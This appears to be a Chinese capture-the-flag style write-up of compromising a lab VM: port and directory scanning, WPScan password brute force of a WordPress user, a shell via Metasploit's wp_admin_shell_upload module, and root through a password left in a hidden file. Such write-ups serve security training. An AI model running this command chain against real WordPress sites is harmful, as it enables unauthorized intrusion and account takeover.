nmap扫描----gobuster扫描网站目录----wpscan枚举wordpress用户名并爆破密码----Metasploit获取靶机shell----找到记录root密码的文件并提权
环境信息:靶机:192.168.101.80
攻击机:192.168.101.34
具体步骤: 1、nmap扫描sudo nmap -sV -sC -p- 192.168.101.80
扫描到tcp端口22(ssh)、53(dns)、80(http)、110和143(邮件相关)、139和445(smb相关)
先看80端口,用gobuster扫描网站目录,发现/wordpress目录
gobuster dir -u http://192.168.101.80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
先用wpscan枚举wordpress用户
wpscan --url http://192.168.101.80/wordpress/ -e
发现用户 c0rrupt3d_brain
再用wpscan爆破c0rrupt3d_brain的密码
wpscan --url http://192.168.101.80/wordpress/ -U c0rrupt3d_brain -P rockyou.txt
发现一组用户名密码
| Username: c0rrupt3d_brain, Password: 24992499
由于这个靶机的wordpress没法通过网页访问(加载不出来,一般做wordpress的靶机都要在hosts文件中增加靶机ip和主机名映射关系,但是这个靶机目前为止没有发现主机名相关的信息),因此我想在网上找找不用访问网站即可得到shell的方法。
在google上搜索wordpress shell exp,找到一篇包含多种通过wordpress获得反弹shell的文章,其中第四种方法使用Metasploit的exploit/unix/webapp/wp_admin_shell_upload,不需要用浏览器访问网站即可获得反弹shell
Wordpress Reverse Shell : Multiple Methods - Hackercool Magazine
首先在攻击机命令行中输入msfconsole
进入msf控制台
然后选择exploit/unix/webapp/wp_admin_shell_upload模块并设置参数,最后输入exploit执行
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME c0rrupt3d_brain
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD 24992499
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 192.168.101.80
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /wordpress/
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
show options
可以确认各参数的值
执行exploit
后得到meterpreter shell,再输入shell
可以得到靶机shell,从下图中可见,靶机当前用户是www-data
靶机shell中输入如下命令获得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
进入/home目录,发现文件夹root3r
进入/home/root3r,发现文件.root_password_ssh.txt
查看该文件内容,发现root的密码为willy26
执行su -
命令,并输入root的密码willy26,获得root用户的shell。在/root文件夹下发现proof.txt